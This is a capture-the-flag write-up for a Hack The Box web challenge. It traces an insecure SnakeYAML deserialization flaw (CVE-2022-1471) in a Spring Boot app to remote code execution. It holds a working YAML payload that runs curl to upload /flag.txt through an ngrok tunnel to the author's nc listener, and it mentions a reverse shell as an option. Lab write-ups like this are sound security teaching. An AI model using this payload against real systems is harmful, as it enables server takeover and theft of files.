Watersnake
4 minutes to read
We are given a website like this:
We also have the source code in Java (SpringBoot).
Source code analysis
This is the main application file (Application.java
):
package com.lean.watersnake;
import java.util.Arrays;
import org.springframework.boot.CommandLineRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ApplicationContext;
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}
We can find the available endpoints at Controller.java
:
package com.lean.watersnake;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.yaml.snakeyaml.Yaml;
import java.io.IOException;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.util.Map;
@RestController
public class Controller {
GetWaterLevel sensorReader = new GetWaterLevel("./watersensor --init");
@GetMapping("/")
public String index() {
return "<meta http-equiv=\"Refresh\" content=\"0; url='/index.html'\" />";
}
@GetMapping("/stats")
public String stats() {
try {
return sensorReader.readFromSensor("./watersensor --stats");
} catch (IOException e) {
return "Sensor error";
}
}
@PostMapping("/update")
public String update(@RequestParam(name = "config") String updateConfig) {
InputStream is = new ByteArrayInputStream(updateConfig.getBytes());
Yaml yaml = new Yaml();
Map<String, Object> obj = yaml.load(is);
obj.forEach((key, value) -> System.out.println(key + ":" + value));
return "Config queued for firmware update";
}
}
Here we can see a way to update some configuration using YAML (/update
). This the page that performs the firmware update:
Notice the use of SnakeYAML, which is version 1.33 according to pom.xml
:
<!-- end::tests[] -->
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.33</version>
</dependency>
</dependencies>
SnakeYAML insecure deserialization
This version of SnakeYAML has an insecure deserialization vulnerability (CVE-2022-1471). We can find some explanation and how to exploit it in snyk.io. The idea is that we can instantiate any class of the project with any argument.
If we take a look at the remaining Java source file (GetWaterLevel.java
) we will see that it executes programs:
package com.lean.watersnake;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class GetWaterLevel {
public static String readFromSensor(String value) throws IOException {
ProcessBuilder processBuilder = new ProcessBuilder(value.split("\\s+"));
Process process = processBuilder.start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
try {
int exitCode = process.waitFor();
if (exitCode != 0) {
throw new IOException("[-] Command execution failed with exit code " + exitCode);
}
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new IOException("[-] Command execution interrupted", e);
}
return output.toString();
}
public void initiateSensor(String value) {
try {
readFromSensor(value);
} catch (IOException e) {
System.out.println(e.getMessage());
}
}
public GetWaterLevel(String value) {
initiateSensor(value);
}
}
Indeed, when GetWaterLevel
is instantiated, the constructor calls initiateSensor
with value
as a String
, which calls readFromSensor
. This last method runs a process with ProcessBuilder
.
The idea of the Java program is to execute a binary called ./watersensor
that does the following:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int randomNum(int lower, int upper)
{
return rand() % (upper + 1 - lower) + lower;
}
int main(int argc, char* argv[]) {
if (!strcmp(argv[1], "--init")) {
printf("Sensor initialized");
}
if (!strcmp(argv[1], "--stats")) {
printf("Tank 1: %d, ", randomNum(100, 1000));
printf("Tank 2: %d, ", randomNum(100, 1000));
printf("Tank 3: %d, ", randomNum(100, 1000));
printf("Tank 4: %d", randomNum(100, 1000));
}
return 0;
}
Remote Code Execution
However, we can use GetWaterLevel
to execute any program we want (Remote Code Execution). For instance, we can read the flag and send it to a server controlled by us. Otherwise, we could get a reverse shell.
So, let’s start ngrok
to create a tunnel to a local nc
listener:
$ ngrok http 8000
ngrok
Build better APIs with ngrok. Early access: ngrok.com/early-access
Session Status online
Account Rocky (Plan: Free)
Version 3.6.0
Region United States (us)
Latency -
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok-free.app -> http://localhost:8000
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Now, we can use the following YAML payload, which will run the curl
command:
asdf: !!com.lean.watersnake.GetWaterLevel ["curl https://abcd-12-34-56-78.ngrok-free.app -T /flag.txt"]
Flag
At this point, we if send the firmware update we will get the flag in nc
:
$ nc -nlvp 8000
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from [::1]:62425.
PUT /flag.txt HTTP/1.1
Host: abcd-12-34-56-78.ngrok-free.app
User-Agent: curl/7.74.0
Content-Length: 34
Accept: */*
X-Forwarded-For: 83.136.254.199
X-Forwarded-Host: abcd-12-34-56-78.ngrok-free.app
X-Forwarded-Proto: https
Accept-Encoding: gzip
HTB{sn4k3_y4ml_d3s3r14lized_ftw!}